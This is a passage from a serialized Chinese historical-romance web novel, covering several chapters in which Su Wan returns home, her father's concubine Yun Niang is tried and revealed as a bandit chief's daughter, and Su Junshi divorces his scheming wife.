心内暗自庆幸，还好这一世，温念没有重生。
“苏姑娘莫担心，他既然肯让你回去，必是经过深思熟虑的结果，不会出半点谬误。他这人虽然看着鲁莽冲动，不怎么靠谱，实则心思细腻，胸中罗藏乾坤。”
注意到苏绾的表情略显忧虑，邵云礼拉了拉缰绳，刻意放慢马走的速度，耐心开解她。
“有一次，我同时樾接到军令，率领百十兵士胡杨林里埋伏匈奴兵。那时时枫才十一二岁，吵着闹着非要跟着去，我们当然不理睬他。谁知转过头，这小子就假扮成巡逻兵，偷偷跟在队伍末端。”
“待得匈奴兵出现时，这小子从天而降，像个猴子似的，蹭蹭在树端爬上爬下，一把砍刀杀得匈奴尽奔逃，血溅五里枯杨。勇猛杀敌的架势，把我们全部看傻眼。”
“后来我们得知，原来他早早认真研究堪舆地图，天时地利人和琢磨通透，凭借自己体形偏小的特质，容易在狭窄的树枝之间窜爬，从而占据有利地形优势。”
“他认准的事情，十头牛都拉不回来。而且事后证明，他的决策，往往才是正确且唯一的解决方案。”
邵云礼眨眨眼，“跟着他，没错的。”
大理寺卿亲自为他背书，虽未能一语中的直达心灵深处，仍令苏绾纠结的心，稍稍缓释。她已孤注一掷，押注全部身家，倘若结果满盘皆输，她也再无机会重来一次了。
队伍行至中城附近，闹市区游人如织，吆喝声，叫卖声，此起彼伏。
忽然路边杏黄裙角蹁跹，摇手不断呐喊，可惜声音淹没马咽车阗之间。
不知谁在背后推搡，小小人儿扑倒在地，瞬间被乌压压的人潮吞没。
男人敏锐的豹耳捕捉到声声细语召唤，鹰眼四处瞭望，蓦然发现趴伏人群角落里的沈枝意。
精心梳理的垂挂髻早已散乱，杏黄衣裙被攒聚的皱皱巴巴，绢丝鞋面踩满脚印，仔细一看，上面还挂着牛粪。
时枫随即翻身下马，趸至沈枝意跟前，俯下身子捞她起身，“你怎么来了？”
沈枝意神情恍惚，抬首乍见到时枫，立时钻入怀抱，哇得一声哭出来。
“枫哥哥……不好了……爹爹被兵部尚书请、请去喝茶了。”
兵部尚书？
时枫颇有些诧异，他扶起沈枝意，捏着她的双肩，大手揩去眼泪，“不急，你慢慢跟我讲，究竟发生什么事？”
沈枝意抽抽搭搭，“一个时辰
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前，家里来了一队兵，说是兵部尚书陆大人邀请爹爹府上做客喝茶。爹爹不肯去，结果那帮人强行绑了爹爹，出门跑了。”
“枫哥哥，卿卿好怕。”
陆展元的报复竟然来得如此之快！
必是儿子向爹告状，引陆能登门问罪。时枫又不在家，干脆绑走客居他府上的沈恪，以此来威胁他，逼他负荆请罪。
时枫伸手将沈枝意拉上马，圈在怀里。小小人儿受了惊吓，单薄的小身体颤抖不停。大手抚摸她的头顶，轻轻安慰她：“卿卿莫怕，我这就去救沈伯伯。”
这时，苏绾他们已经赶上队伍前端，见到窝在男人怀里的沈枝意，令苏绾感到颇为惊诧。
距离上次画舫隔间一别，已过去十余日。听说沈枝意困在画舫，船爆炸时生死未卜，她还未来得及问候沈枝意的伤情。单看沈枝意的模样，失去往昔活泼可爱的光采，整个人看起来无助、破碎与绝望。
“绾姐姐，你来了。”沈枝意细声道。
少女抬首仰望时枫，随即又低下头，做错事般，扁嘴嘟囔道：“我等了很久，才等到枫哥哥。”
不等苏绾回复，时枫开口道：“我有些事情要办，由邵大人先行招待你。”
停了一息，似乎有些为难，耳根微微泛红，“他已得到你回城的消息，暂时应该不会再整什么幺蛾子，你且不必担心。”
又低下头，“这一遭不算我食言，实在是有要紧事情要办。”
踏月踢着马蹄，小步蹉跎前行。
沉寂半晌，相对无言，怀里沈枝意手指勾了勾男人的披风。
男人醒悟过来，调转马头，踽踽离去，扔下一句：“有事等我回来再说。”
顷刻间，玄衣背影淡出视野。后面晴雷策马跟随。
全程苏绾未曾说过一个字。
她知道，说什么都没用。看沈枝意的架势，估计是沈恪出了意外，否则绝不会教世家小姐独自出街。
她的那些鸡毛蒜皮小事，和沈枝意比起来，都算不得什么。
毕竟，人家才是正头未婚妻。
她不过是半路窜生的野花野草，不值一提。
“咳。”邵云礼假装咳嗽一声，尴尬道：“要、要不，先去大理寺坐坐？”
（未完待续）
58. 审案
墨云翻涌，顷刻大雨如注。
老丁佝偻身板，一路媚笑着引领大理寺卿进入厅堂议事，将苏绾冷落一旁——也不怪他没有认出苏绾来，苏绾一身男子装束，情急之下的敛声质问，也带着些许少年英朗气质。
她在人群中踮脚张望，逡巡许久方才发现手足无措的无霜，躲在一株芭蕉树下，任凭雨打绿叶滴落。
苏绾悄悄凑近无霜，伸手扯她的衣襟，唬得无霜直跳脚，头顶芭蕉叶一滩雨水，顺势浇头洒落，将无霜灌个透心凉。
无霜正欲尖叫，被苏绾捂住嘴巴，打嘘声，“是我。”
无霜回头一看，自家小姐归家，一时间委屈涌上心头，小嘴一扁，嘤嘤哭起来，小脸滂沱，分不清雨水还是泪水。
“小姐，你可回来了，家里出了大事。”
眼前并非谈话的最佳时间和地点，苏绾牵着无霜的手，趁人不注意，偷偷溜回紫竹苑。
一进门，正撞见扫院婢女春蝉躲在墙根下，手里攥着一只云雀，正心急火燎地向鸟腿缠绕什么。
眼见紫竹苑主人突然归家，春蝉吓得脸色青白，两手下意识地背向身后，险些捏死手里的雀儿。
苏绾立即阻止她，“时将军已告知我，说你是他派来监视我的卧底，你大可不必再躲躲藏藏。”
一语既出，春蝉倒没怎样，无霜像遭雷劈了般浑身颤抖，惊道：“天呐，春蝉竟是卧底？！这究竟是怎么回事？”
“先不提这遭话头，我有话要问你俩。”苏绾一手拉着春蝉，一手扯着无霜，将她二人拉扯进闺房，随手关起门来询问事情始末。
原来芸娘近日为救苏绾脱离温府之困，夜夜于枕边细语，力劝苏君识修书给温侍郎，召回二小姐。
苏君识却以哼哈之声，敷衍了事，不愿卷入苏夫人与温侍郎之间的权谋之争。他深知，无论偏向哪一方，将来都可能使自己陷入不利之境。
为官之道，集大成者，在于“无为”与“中庸”。苏君识将此二义融入其人生哲学之中，且行之以恒，力求不偏不倚，以保自身之安稳。
前有苏夫人欲以殷潜之力，设障于温如初赴杭州督办茶税之行，使其徒劳无功，负圣上之托，甚或招致罪责。
岂料温如初韬光养晦十日，忽出一计奇策。恰逢沈恪上疏，言及闽浙沿海海寇之患。温如初把握时机，自荐督运海漕，竟得圣旨，封为钦差大臣。
征茶与督漕，本为迥异之务。于浙江布政使殷潜而言，前者乃呈其功绩，后者则察其错失，其间利害，不言自明。
温如初此一妙计，由被动受制，转为主动出击，局势为之大变。苏君识背后冷汗涔涔，暗呼侥幸。若彼时附和苏夫人，待温如初南下杭州抗倭归来，苏君识恐将官途尽毁，身陷囹圄。
他抬起衣袖，拭去额间冷汗，急令芸娘速移家财，自己则上书请病，求圣上赐假休沐。
芸娘见苏君识无动于衷，只得另谋他策。然她不过为大族所豢之妾，一介玩物，根本求告无门。未及芸娘思得良策，苏绾被歹徒掳走的消息突如其来，一道封禁令从天而降，断绝苏家与外界之通途。
苏君识恍然大悟：这年头，光是恪守中庸已是不足，识时务者为俊杰，他须立刻马上跳出来，明确宣示自己的立场。他遂修“求和书”一封，呈于温侍郎案前，涕泪纵横，痛陈殷家兄妹之迫害，誓此生与殷家为敌，不共戴天。
然温如初似乎并不买他的账，非但严词拒之，更命顺天府刘府尹增派人手，日夜严守苏府，不许苏家人出入。
苏君识见前路断绝，不禁长吁短叹，怨天尤人，悔恨自己当初择队不慎。然其四十载糊涂人生，所犯之错，何止万千，又岂在乎这一桩？
反复思量之下，他决意破釜沉舟，挥毫泼墨，书就一纸“和离书”，欲与苏夫人从此分道扬镳。若将来殷潜官败，殷家式微，他亦可免受牵连。
然和离书虽写得容易，递出去却甚难。苏君识一生唯唯诺诺，看人脸色行事，“怂”字仿佛刻于面庞。他不敢直面苏夫人提及此事，便转而怂恿芸娘代为传话。
芸娘手中捧着那份和离书，重若千钧。她虽非怯懦之辈，却也深知苏夫人之威，犹如猛虎难犯。若苏夫人因此迁怒于她，苏君识断不会挺身而出，为她遮风挡雨。昔日九香的遭遇，便是前车之鉴。
况且，苏绾如今下落不明，生死未卜，温侍郎正四处寻觅未婚妻。苏君识作为人父，非但未显焦急之色，反而只顾自身安危，其自私之丑态，实在令人心寒。
天底下的男人，没有一个靠谱的。
夜半辗转难眠之际，芸娘做了一个大胆的决定——她要自己救苏绾。
然而人海茫茫，她渺小如蜉蝣，人微言轻，又凭什么去捞别人呢？
有钱能使鬼推磨。
她盗取苏君识的私印，清早翻墙越壁，躲过府衙守卫的眼线，悄然离开苏府。一路潜行至西市，将苏君识名下之房契地契，悉数以贱价抛售，便宜了整条街的地产商与中间商。又将银楼里存储的两大箱金银珠宝提出，高价收买镖局运往京郊。
然而，满载金银的马车未及出城，便听到京卫指挥使剿灭山匪的捷报。本是振奋人心之喜讯，芸娘却如遭霹雳，急急召回马车。
她尚未定神，已有小厮偷偷向苏夫人告密。苏夫人怒不可遏，随即率众气势汹汹直扑偏院，当场拿住芸娘及两箱珠宝，人赃并获。
老虎与狸猫相斗，胜负始难预料。
苏夫人拿出当家主母之威严，今日誓要严惩芸娘，以儆效尤。谁让这小贱人屡生事端，一再挑衅苏家权威。
芸娘使尽浑身解数，与众小厮搏斗。她虽为女流，然拼命之时，亦颇有几分骁勇，打得众小厮哭爹喊娘，跪地求饶。
苏夫人怒目圆睁，厉声呵斥芸娘，挥手示意小厮们上前将她制服。
芸娘心中一紧，却也不甘束手就擒，她身形一晃，使了招虚晃，骗过小厮们的围攻。随即，她身子向前一挺，猛地扑向苏夫人。
苏夫人始料不及，被芸娘一把揪住衣襟。紧接着，芸娘一掌甩向苏夫人的脸面。这一掌力道迅猛，打得苏夫人站立不稳，一个踉跄，跌倒在地。
苏夫人痛呼出声，脸色瞬间变得青白，继而开始红肿，显然受力不轻。
小厮们这才反应过来，急忙上前扶起苏夫人，又将芸娘团团围住。芸娘寡不敌众，终束手就擒。
这一仗，老虎勉强得胜。
苏夫人擒获芸娘之后，一心欲将她置之死地，然现有证据不够充分——那两大箱珠宝完好，并未得以偷运出府。
至于那些变卖的房契地契所得，已被芸娘换成银票，藏匿于首饰盒中，苏家包括苏夫人暂且不知情。
趁着指挥使剿匪的消息盛行，苏夫人故意诬陷芸娘与山匪暗通款曲，遂命家丁将她五花大绑，欲送至官衙治罪。一时间，府中上下议论纷纷，事态愈演愈烈。
无霜的小脸，因激动而微微泛红。她捂着胸口，娓娓叙述当时的惊心动魄。她并未窥得事情全貌，然则苏绾凭借对苏家人的了解，整个事件过程猜得八九不离十。
唯有一事不明。
芸娘为何没有将珠宝运出城，而是紧急召回？
除非，那京郊某处的收货人，出了意外。
又恰好赶上京卫指挥使剿匪成功。
各种线索汇集一处，苏绾得出结论：芸娘打算花重金向山匪赎人。
可芸娘又是如何得知，是山匪掳走苏绾，而非水贼、流寇一类？
又或者芸娘豪掷千金买通山匪，为救回被歹徒绑架的苏绾。
可谁会买通山匪追贼啊？山匪自己不就是贼？一般人追凶，都是去鬼市招募赏金猎人。
逻辑断了一环。
事情迫在眉睫，苏绾无暇再做无谓的推断，她须得抓紧时间救下芸娘。
春蝉握着两只小手，有些局促不安，见无霜交代完毕，她想着，下一个该轮到她了。
可未等她先开口，苏绾却向她道：“方才你是打算报信给时将军，让他来帮忙救芸娘，对不对？”
春蝉愣了一下，点点头。
苏绾卷了卷眼眸，“他派你来监视我，而你却越俎代庖，恳求他出手救芸娘，为什么？”
犹如被春雷击中，春蝉大大的眼睛倏而噙满泪水，她哽咽道：“我生在猎户之家，从小习武，并不懂得如何伺候主子。自来苏府打工仨月有余，每每频出差错，经常被府里的嬷嬷训斥。唯有二奶奶，不嫌我身份卑微，时时欢语解忧，还会亲自下厨蒸榆钱馍馍给我
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吃。如今二奶奶遇难，我愿尽自己最大力量，救二奶奶出水火。”
原来如此，也是个知恩图报的人啊。
苏绾扯下丝巾，替她揩去泪痕，“好孩子，时将军府上出了点事情，暂时无法分身。眼前这局困境，还得靠我们自己解决。”
可她说归说，当前也没有什么好办法，唯有寄希望于大理寺卿的断案。当下吩咐无霜为她更换衣裙，一路摇摇行至苏府前堂。
珠雨麾飏，飞流吹响。
大理寺卿端坐厅堂中位太师椅，拿起案边白玉盖碗，微微揭开盖儿，用盖子在碗边刮上两遭，轻轻呷入一口。
阖合眼眸，细细品鉴一番。啧，不愧是狮峰龙井。
推手将盖碗送回案几。眼角扫过下方位的苏氏夫妇，以及跪在地上，手脚捆绑的姨娘。
“本官今日登门造访贵府，不全是为审案子。想必你们早已收到消息，京卫指挥使大显神威，一举剿灭黑风寨，释放寨子里关押的百姓。这里面恰巧包括府上的二小姐，苏绾。”
“前头温侍郎报案，言及苏绾被歹匪掳掠，如今这桩案子也可了结。我已知会顺天府的刘府尹，叫他拆去贵府大门的封条，看来你们也自个儿拆完了。本官的差事已了，实在不该跨过县衙，越级审理苏郎中的家事……咳。”
他抬起衣袖，清咳了一声，“既然你们提到，嫌疑人乃山匪的亲信，换而言之，此案与本官审理的山匪绑架案，有着千丝万缕的联系。本官只好勉为其难，代为审理之。”
身子向前探了探，“台下所跪者，可是苏家姨娘，陶芸娘？”
大理寺卿长篇大论，事无巨细，不厌其烦，早就堵塞芸娘的视听，神思不知漂向何方。面对对方的质问，芸娘呆愣了半日，迷迷糊糊摇摇头，猛地一下子惊醒，又拼命点点头。
寺卿大人微微颔首，又问道：“你可承认偷盗挪运钱财之罪？”
芸娘干脆答道：“启禀大老爷，我无罪。那两箱珠宝来自我本人的嫁妆，及老爷的赏赐。何来偷盗一说？况且，箱子好好地存放在我屋里，怎么就挪运出府了呢？实在是冤枉了我。”
她掀眸瞟了一眼苏夫人，咬牙切齿道：“打从我嫁进苏家那日起，夫人就看我不顺眼，处处刁难我，先前还无缘无故将我关进柴房，骗人说我生了麻风病，她巴不得咒我早点死。”
旁边苏夫人坐不住凳子，手里帕子啪得一甩，站起身来，指着芸娘眉头骂道：“谁咒你死了？天地良心。我可怜你个外室，孤儿寡母住在通县，怪可怜见的，亲自派人将你娶进苏家。整个京城里，可还有比我更大度的主母？没想到，我这一片赤诚之心，竟迎进来一个吃里扒外的冤家。”
芸娘怒目而视，恨道：“你娶我进门，安的可是黑心！就为了变着法子弄死我们娘俩。可惜，姑奶奶命大，活蹦乱跳得很。你别以为自己干的那些龌龊事情无人知晓。浸猪笼，扎银针，我什么不知道？举头三尺有神明，恶人有恶报，不是不报，时候未到。”
旁人尚未注意，苏夫人被她“浸猪笼，扎银针”六个字震得魂飞魄散，唯恐被大理寺卿听了去，遂提高嗓门，掐腰訾骂：“我掐死你个小娼妇，还敢威胁老身？你算个什么东西，跟我苏殷氏叫嚣？我殷家吐口唾沫，一准淹死你这田埂上的土耗子。”
俩女人你一句我一句吵架，家长里短，鸡毛蒜皮，谁都不肯让谁，听得苏君识的老脸直抽搐，翻来覆去的难受，而寺卿大人也是一头热汗。
他抬起青色衣袖，轻拭额间细汗，又端起案边盖碗，咕噜咕噜牛饮一气。
断案六七载，从未碰到过比家务事更棘手的案子。蹲守白云观的女鬼，也好过听女人掰扯不清。
“行了行了，本官知道了。”寺卿大人不耐烦地打断“口水战”，“你没有偷盗挪运钱财。至于山匪亲信一事，也是受人冤枉的，对吗？”
芸娘突然抬起头，额间刘海青丝成缕，一双杏眼望着寺卿，许久，复低下头，艰涩道：“她说的没错，我的确是山匪的亲信。黑风寨的寨主，是我的亲生父亲，已被京卫指挥使打死了。”
言毕，两颊泪雨滂沱，扑倒嚎啕大哭。
堂外苏绾一路急急忙忙赶来，绢鞋还未踏进门槛，陡然闻听这么一句，顿时心凉半截，如坠冰窟。
59. 身世
“黑风寨的寨主，是我的亲生父亲，已被京卫指挥使打死了。”
这怎么可能？
苏绾急捉裙两步奔向前，跪倒在芸娘面前，头放得极低，沉声道：“莫要乱说话，当心被人拿住把柄。”
芸娘哭得不能自已，抬眼见是苏绾，恍惚如隔世。
她颤抖着嘴唇，哽咽说道：“阿绾，我对不起你，我撒谎了。”
真相往往藏在意想不到的地方。
陶芸娘，芳龄十八岁，佃户出身，良家子。大约两年前的某个春日，她在田埂采摘黄色的野花，花香飘四野，吸引了因公出差，闲暇郊外踏青的苏君识。
她朱唇轻抿，邀请他去家里坐坐。
大约是看上她的淳朴自然，毫不做作，亦或是喜欢她的不屈不挠，向阳而生，两人迅速打得火热，如胶似漆。
苏君识在通县宝坻买了一处宅院，庭院深深，小院亦有花，花间一壶春酒，酒醒归何处，杨柳岸晓风残月。
度过了两年神仙般的日子。
还生了宝哥儿。
直到一顶来自京城的红花轿，停泊在庭院外。
从此开启地狱之旅。
芸娘不止一次遐想过，假如她那日拒绝了他，也许就不会落到这般破败不堪的境地。
可惜，以上只是她展示给别人看的过往。
她还有不为人知的一面。
陶芸娘，打一生下来就是山匪的女儿。她的父亲，那位黑风寨寨主大金牙，年轻时不
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知中了哪门子的运气，竟然和被他倒卖的女奴生了一个孩子。
大金牙做梦都没想到，自己也有当爹的一天。他做了一辈子的缺德事，到头来竟然收获一位可爱的女儿，真是做梦都会笑醒。
他倒卖别人家的女儿，自己的女儿当成宝贝般。含在嘴里怕化了，捧在手里怕摔了，恨不得天天别在裤腰带上。
女娃养到十岁，生得娇俏水嫩，再不能跟他在土匪窝里鬼混，否则下场就是配给土匪。
大金牙冥思苦想，四处奔走，终于寻到一户人家，良民出身，身下小女与他女儿同岁，可惜夭折了。趁父母还未来得及上报死亡销户，大金牙将女儿双手奉上，表示愿赠五百两，作为抚养费。
（未完待续）
60. 和离
“什么？！”
在场人齐齐惊愕。
苏夫人丹凤眼瞪溜圆，一手扶着桌案，勉强支撑住身体，歇斯底里道：“你敢？！反了天了！！今日你若趟出家门半步，我便叫哥哥立刻上报皇帝，摘了你的官帽，断了你的官途！”
苏君识揣着两手，耷拉着脑袋，耸了耸肩膀，“倒也不必麻烦殷大人亲自上本，圣上已批准我归乡休养病假，三五年内，朝中怕是看不到我的身影，也还大家彼此一个清净。”
苏夫人压根不知道，苏君识何时奏请的告病休假。她感觉自己像个不问世事的傻瓜，已经被全世界抛弃了。
她指着苏君识鼻子骂道：“我是你三书六礼、明媒正娶的妻。你狠心抛妻弃子，撒手离去，不怕遭老天爷报应吗？即便上天不罚你，你也逃不过人间的法理制裁。”
她转头命令大理寺卿道：“邵大人，你快将这对奸夫霪妇拿下，就地正法，绝不能轻易放过他们。”
座上的大理寺卿根本不理睬这疯妇，乜斜着眼角，冷哼一声。
苏君识想了想，从怀里掏出一份信笺，随手丢掷地上。众人探头打眼一看，封面写着“和离书”仨字。
“你犯了七出之妒罪，阻挠我苏家香火延续。我本可一纸休书休了你，但我念在你做我发妻二十年，为我生得一双儿女的份上，今只与你平等和离，从此一别两宽。你莫要再纠缠不休，对你我都没好处，尤其是丢你殷家的脸面。”
冷言冷语绝非苏君识往常作风，苏夫人简直不敢相信自己的耳朵。究竟是她疯了，还是世道乱了。那个窝囊惧内的苏君识，居然跟她谈和离！
她两眼瞪着和离书，嘴唇泛出白沫，颤颤巍巍。
“你、你不要太嚣张……”
话未说完，两眼一闭，倒头晕厥过去。
家丁婆子乱作一团。
芸娘捉裙奔赴苏君识身边，搀着他的臂弯，媚眼如丝，“我就知道，郎君舍不得妾身。”她踮起脚尖，杏眼仰望爱人，不解道：“君不嫌弃妾，是山匪的后人吗？”
苏君识刚刚人前显摆一遭，好不威风得意，满脸的褶皱绽开不少，咧嘴干笑两声，“如今我也只是一介平民而已，谁又能看不起谁呢？”
他低下头，有些垂丧，“只怕从此，我俩要受穷咯。”
净身出户，几乎是苏君识的宿命。对他来说，留住清白之身，告老还乡，而不必下大狱，已是最好的结局。
芸娘挺直腰肢，“不怕！咱们回乡下去，妾给君包羊肉饺子吃。”
苏君识宠溺地笑了笑。
哪知芸娘附耳细语道：“老爷之前交给妾保存的房契地契，已被我偷偷折成现银，虽然打了些折扣，再加上妾积攒的嫁妆，足够我们后半生过舒坦日子了。”
老夫少妻，弯成一颗心。
看得苏绾又喜又酸。
喜的是芸娘终得归宿，一家人团团圆圆；酸的是苏君识厚此薄彼，对九香对苏绾毫无怜惜之情。
又想到大金牙为此一遭，赔付了全部身家性命，落得与女儿人鬼殊途，再深刻的酸楚与仇恨，也已付之东流。
她站在人群里，茕茕孑立，形影相吊，两眼望穿秋水。觉得人生好似一场梦。在别人的美梦里，是她的噩梦做着陪衬。
大理寺卿冷眼旁观人间之悲欢离合，低首抚弄白玉盖碗，碗内余留碧绿茶渍，散发清新的茶香。
他拈起一根茶棍，食指拇指之间揉搓，直至揉成一团烂泥。
心下万般清明。
抬起青色衣袖，将苏君识招至跟前，低眉问道：“苏郎中几时遇见的九香？”
苏君识闻言，老眼瞬间沉落，胡乱搪塞：“约莫十七八年前吧。”
然寺卿大人却不肯轻易放过他，紧着追问道：“究竟是十七，还是十八年前？”
仿佛被人拿捏七寸，苏君识眼神闪躲，支支吾吾，语焉不详：“人老记性差，记不太清了，大约就是那个时候罢。”
可大理寺卿的眼睛雪亮，端着袖子质问道：“你怎会记不清楚？春月坊的花娘卖身契存根上面，可是明明白白记录：永乐八年秋，两千收九香。本官问你，今朝是何年？永乐二十五年夏。你再仔细回想一下，苏绾的生辰为何时？”
苏君识将头埋得很低，两手攥着不知所措，“这、这个......”
邵云礼负着手，鄙夷道：“你连自己的女儿生辰八字都不知道吗？她的户籍名册写着：永乐九年二月初二辰时。女子怀胎九月，方能生产。你掐着指头算一算，这期间相隔多少月数？”
苏君识如芒在背，臃肿身体晃来晃去。
纸包不住火。
大理寺卿趁机发出深刻一问：“其实，你早就知道苏绾不是你的女儿，只是一直埋在心里不讲。对不对？”
苏君识眉毛垂丧着，唉声叹气：“老夫、老夫当年一时糊涂，被九香那个坏女人骗了。她曲意逢迎，假装扬州瘦马，勾引我上当，结果害我当了大王八。”
“你完全可以一走了之，行院里哪有所谓的真心呢？”大理寺卿冷冷道。
苏君识叹道：“都怪我一时贪嗔痴，因九香承诺：不争不抢，只做外室，不进家门。我想着，能白嫖花娘，还不用担心身子骨肮脏，也无所谓了。后来九香被苏殷氏强娶进门，我也没脸再向人解释缘由，也便随她去了。”
寺卿大人眸底泛出阴冷之色，“所以你对九香的死亡置若罔闻，纵容苏家人欺侮苏绾，甚至还下令将苏绾卖到行院。如此丑恶行径，简直禽兽不如！”
苏君识自知理亏，也没敢辩驳，缩着身子，任凭大理寺卿如何猛烈抨击他，也不言语。
自从时枫向邵云礼介绍苏绾家世之后，邵云礼一直感到好奇：为何苏家一而再，再而三迫害苏绾，而苏家家主却销声匿迹不作为，这不符合正常人家的逻辑——虎毒尚不食子。
为此他调请查询九香在县衙的户籍登记表格，结果赫然发现：苏绾并非苏君识所生，生辰八字根本对不上号。
他暗自猜测：当年，扬州堕花院发生一些事情，导致瘦马九香遭人玷污，身怀六甲。九香唯恐被人发现，恰时大金牙出现在九香旁边，两人一同逃离扬州，一路来到京城。
大金牙以人伢子身份，给九香上了奴籍，以两千价格卖给春月坊。后来九香遇到苏君识，对方不惜为她退奴籍，喜当爹。直至嫁入苏家以后，九香被苏夫人设计陷害，殒命沉湖。
细细比较，便可得知：大金牙与苏君识，全都没有说实话。
两个人各自隐瞒某些关键信息，而这些信息串联起来，有一处共同点：苏绾的生父。
大金牙作为跑江湖的人伢子，没道理在明知九香有孕的前提下，还要强行将她从堕花院拐卖，这是一桩亏本的买卖不说，也有损他的信誉，为他在江湖树敌不少。
另外，根据芸娘所述，大金牙生前十分疼爱女儿，并非彻头彻尾的恶人，当年时樾尚且饶恕他，可见大金牙心中存留慈善。他完全有可能，出于真心帮助九香，为她找寻出路。
他还特意调查春月坊的奴籍名册，了解到九香入籍、退籍时间。因律法规定：良贱籍不得通婚。因此苏君识必是花了不少心血，才将九香改成良籍。
倘若真如苏君识所述，九香欺骗勾引了他，他又怎会心甘情愿为骗子辛苦筹谋退籍，甚至勇敢承担起做父亲的责任——虽然这丈夫，父亲俩角色，都被他做得一塌糊涂。
大金牙与苏君识，二人皆非愚鲁之人，怎会毫无保留地为一位瘦马付出所有？难道他们就不想知道，谁是始作俑者？可如今他们二人，一个斯人已逝，另一个绝口不提往事。
或许，苏绾的生父，才是真正的幕后操纵之人。
而时樾也许探究到其中的奥秘，才会被对方下手杀害。
九香与这位背后操纵者，又有什么关系？是否和都蛮族的女书绣帕有关？
这些散乱各处的信息碎片，如何拼凑出真相，他不得而知。但他此刻不能打草惊蛇，以免被幕后黑手盯上，前功尽弃。
恰时芸娘安排仆从收拾行李，大包小包往马车上搬弄。她的体己物什并不多，大部分金银珠宝早已挪运出城。至于苏君识那边，因其主动净身出户，只带了几件贴身衣物，以及书房的一些书籍奏章、笔墨纸砚等，很快清理完毕。
她在门外，翘脚召唤：“郎君~我们走吧？”
苏君识向大理寺卿鞠了一躬，殷切道：“老夫这厢告辞了。”
寺卿大人摆摆手。
一桩冤案就此了结。
他须即刻返程，同时枫报备苏绾的身世，免不了要时枫南下扬州打探。
那边芸娘抱着宝哥儿，与苏绾交指别离，泪如雨下。
芸娘哭道：“没想到，这么快就要与你分离，我还没跟你交够心呢。如今我回去乡
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下，你嫁到豪门世家，今生再想相见，也就难了。”
宝哥儿招招小手，“阿佳～抱～”
苏绾逗弄宝哥儿，心中充满不舍。短暂数月相处，已让她跟宝哥儿血脉连通，难以分割，宝哥儿就好似她的孩子一般。
上一世，她被苏沅芷强灌红花汤，导致堕胎流产，从此失去生育能力。她多想拥有一个自己的孩子啊。
她揩去眼角泪痕，强作笑脸：“哪里就再也见不到了？你在通县宝坻的地址，我已背得滚瓜烂熟，上秋时我就去看你。你须好菜好肉地招待我，倘有一片菜叶不新鲜，我一准甩脸子给你看。”
芸娘想了一下，从荷包里掏出一小团，打开来是一件打造的银器，拇指般大小。
“这是父亲交给我，让我在紧急时刻拿出来用。如今我要回去乡下了，再紧急的事，也比不过方才那一刻。我留着也没用了，送给你吧。”
苏绾拿过来，仔细观看，好像苗疆产物，连芸娘也不知道是什么，苏绾收在怀里。抬起眼眸，突然又想起什么，低首道：“你的父亲被京卫指挥使打死，你可还恨他？”
芸娘愣了愣，低下眼眸，摇摇头，“做山匪的，早已习惯了刀尖舔血的生活，指不定哪天就要掉脑袋，他早就做好准备，并知会我了。”
“前头我盼着他多活一天是一天，现在我祈祷他下一世投生好人家，不必再过穷苦日子。一切都是因果报应。”
“我陶芸娘虽大字不识一个，好歹我也懂得江湖人生道义。本来就是我的父亲触犯法律，我又怎么好意思恨上官家呢？”
说到“官家”，她杏眼一斜，睇着苏绾吃吃笑道：“若非女大虫揭发你，我竟还不知，你什么时候同京卫指挥使好到一起去了？你们睡过了吗？”
苏绾连忙遮住宝哥儿的小耳朵，嗔道：“怎可在娃面前胡说八道，罪过罪过。”
她低下娥眉，细声道：“不过是一桩买卖交易，他帮我办事，我还他些虚情假意的‘真心’罢了。”
芸娘揶揄道：“苏二小姐竟下海干起这些见不得人的勾当来了。”
肩膀被苏绾捶了一下，力度不大。
苏绾莞尔道：“你还好意思说我，我算真正明白，你为何懂得那么多弄钱的法子。原来早在一开始，你就设下圈套等着老爷往里跳，你才是蛇蝎美人。”
话未说完，苏绾的肩膀也挨了一击。
俩娇俏笑做一团。
风淡云轻，雨拂京城。
直到夜半三更，苏夫人才将苏醒，醒来面前即是空空荡荡，偌大的一座宅邸，竟有回音绕梁。
管家嬷嬷端着一柄蜡烛，烛火风雨摇曳，“老爷和姨娘下午就动身离府了，只用一辆马车，拿走些许衣物笔墨。家里财产分文未动，仆从大多打发归家，余下少许嬷嬷小厮伺候夫人。”
管家嬷嬷乃苏夫人的亲信，伺候苏夫人二十年，忠诚可靠。当年苏夫人设计害死九香，就是管家嬷嬷牵线带头。
房里还剩小丫鬟阿沁，也是苏夫人在钱塘老家的亲戚，此时也无处可去，蹲在墙角摆弄手影。
当下苏夫人心灰意懒，顿时起了归乡的念头。她挪了挪身体，命令道：“阿沁，给我洗漱梳妆，咱们这就离开。”
阿沁道：“咱们就这么走了吗？不跟二小姐打声招呼吗？我有阵子没见二小姐了，上次见她，还是端午那晚家宴在刘嬷嬷的住处，距今已一个多月了。”
端阳家宴，苏府出了大事件：苏尽欢酒醉行凶，杀害刘嬷嬷，前途尽毁不说，还落得不举的毛病，不得不被偷偷送到热河，和苏沅芷一起疗养去了。
可苏绾怎会出现在那里？
苏夫人细细审问阿沁，阿沁眨巴眨巴眼睛，眼泪汪汪地叙述经过：她亲眼看见二小姐从刘嬷嬷房里离开，紧接着过了一会，刘嬷嬷出门向出事的下人厢房走去。
一切竟都是受那个庶女指使！
苏夫人恨得咬牙切齿，自己为苏家尽心尽力，养育一双儿女，倒头来被个贱人捣毁所有。
她须让庶女付出血的代价。
可她如今孑然一身，又有谁能帮她？
强龙不压地头蛇。
转念一想，苏绾的两个男人，又不会永远相安无事。她只需从中作梗，挑拨离间，准保苏绾会翻船。
苏夫人当下心生一计，吩咐管家嬷嬷准备笔墨，她彻夜写就一封告密函，交给小厮传递出去。
61. 易容
细雨一直下不停。
苏绾坐在桌案前，手里执一管狼毫，笔尖墨迹风干。她不住地望向窗外，竹林风声飒飒，雨声沥沥，唯不闻行走的脚步声。
“文竹也真是的，这都走了两个时辰了，还未回来，别是半路拐到天桥看热闹去了罢。”无霜端一碗姜汤，递到苏绾的跟前。
天气骤凉，又经过前番辛苦折腾，导致苏绾得了风寒，整夜睡不好觉。
“咳咳。”苏绾手握拳状，咳嗽两声，“鬼市位于城南，光是两条腿走过去就要耽搁一会子，总要给文竹宽泛些时间，也好与人讨价还价。”
无霜小手轻轻拍拍苏绾后背，“小姐，你说文竹，能找到那位神通广大的老神仙么？我听说高人一般住在深山里，怎么这位神仙偏要居住在鬼市呢？”
苏绾道：“你不懂，小隐隐于野，大隐隐于市。真正有本事的人，不拘小节，独善其身，素喜与人交流。”
